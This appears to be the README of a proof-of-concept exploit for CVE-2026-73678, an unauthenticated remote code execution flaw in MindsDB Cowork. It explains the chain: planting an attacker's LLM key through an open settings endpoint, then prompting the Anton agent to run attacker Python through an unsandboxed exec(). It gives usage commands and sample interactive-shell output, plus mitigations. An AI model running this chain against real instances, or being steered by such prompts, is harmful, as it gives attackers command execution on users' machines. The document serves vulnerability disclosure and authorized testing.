## https://sploitus.com/exploit?id=0A7A53BB-5956-561A-ACD6-78E990D78B26
# CVE-2026-73678 — Unauthenticated RCE in MindsDB Minds Platform / MindsHub Cowork
PoC for **CVE-2026-73678** (CVSS 3.1 **10.0 Critical**, `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`).
Full write-up: **www.hunt-benito.com/blog/bring-your-own-key-cve-2026-73678-unauthenticated-rce-in-mindsdb-cowork/**
The Cowork `cowork-server` FastAPI sidecar exposes `/api/v1/` with **no authentication**
(CWE-306), CORS `allow_origins=["*"]` (CWE-942), and the Anton agent's `scratchpad`
tool executes LLM-generated Python via a raw `exec()` with no sandbox (CWE-94).
Chain: plant the **attacker's own** LLM key via `PUT /api/v1/settings/*` → `POST /api/v1/responses/`
with a prompt that makes the agent run attacker code on the scratchpad → arbitrary OS
command execution as the user running the app.
Adapted from the PoC in MindsDB's advisory GHSA-jcxw-h8ph-pxpv (credit: Ho Viet Khanh / HK4zCzi).
## Requirements
- Python 3.9+ (standard library only — no pip installs)
- A running Minds Platform / MindsHub Cowork instance (default `127.0.0.1:26866`)
- Any OpenAI- or Gemini-compatible API key **belonging to the attacker** — nothing
from the victim is needed
## Usage
```bash
# against a local dev instance (make dev-web)
python3 shell.py AIzaSy... gemini
# explicit target + model
API=http://127.0.0.1:26866/api/v1 python3 shell.py sk-... openai gpt-4o-mini
```
```
[*] Setting provider=gemini model=gemini-2.5-flash
[*] validate: {"status": "ok", "configReady": true, ...}
=======================================================
RCE SHELL (type shell commands, 'exit' to quit)
=======================================================
$ id
uid=1000(victim) gid=1000(victim) groups=1000(victim),27(sudo)
```
## Why the nonce proves execution
The generated snippet computes `os.urandom(4).hex()` **inside the victim process**
and writes it to `/tmp/RCE_PROOF.txt`. The prompt tells the model it cannot know the
nonce without executing. If the returned text contains a nonce matching the file on
disk, the code demonstrably ran — a hallucinating model cannot produce it.
## Mitigations (if you run the app)
```bash
export COWORK_REQUIRE_AUTH=true # auth exists but defaults OFF
export COWORK_AUTH_TOKEN="" # or let it auto-generate
export COWORK_ALLOWED_ORIGINS='["http://localhost:26866"]'
# never set COWORK_SERVER_HOST beyond 127.0.0.1; rotate all secrets reachable
# by the account that ran the app
```
No patched release tag exists; fixes live only on the `cowork-server`/`anton`
`main` branches.
## Legal
For authorized security testing and research only. Do not run against systems
you do not own or have explicit permission to test.
## References
- GHSA-jcxw-h8ph-pxpv: https://github.com/mindsdb/mindshub/security/advisories/GHSA-jcxw-h8ph-pxpv
- NVD CVE-2026-73678: https://nvd.nist.gov/vuln/detail/CVE-2026-73678
- VulnCheck advisory: https://www.vulncheck.com/advisories/mindsdb-minds-platform-unauthenticated-rce-via-scratchpad-exec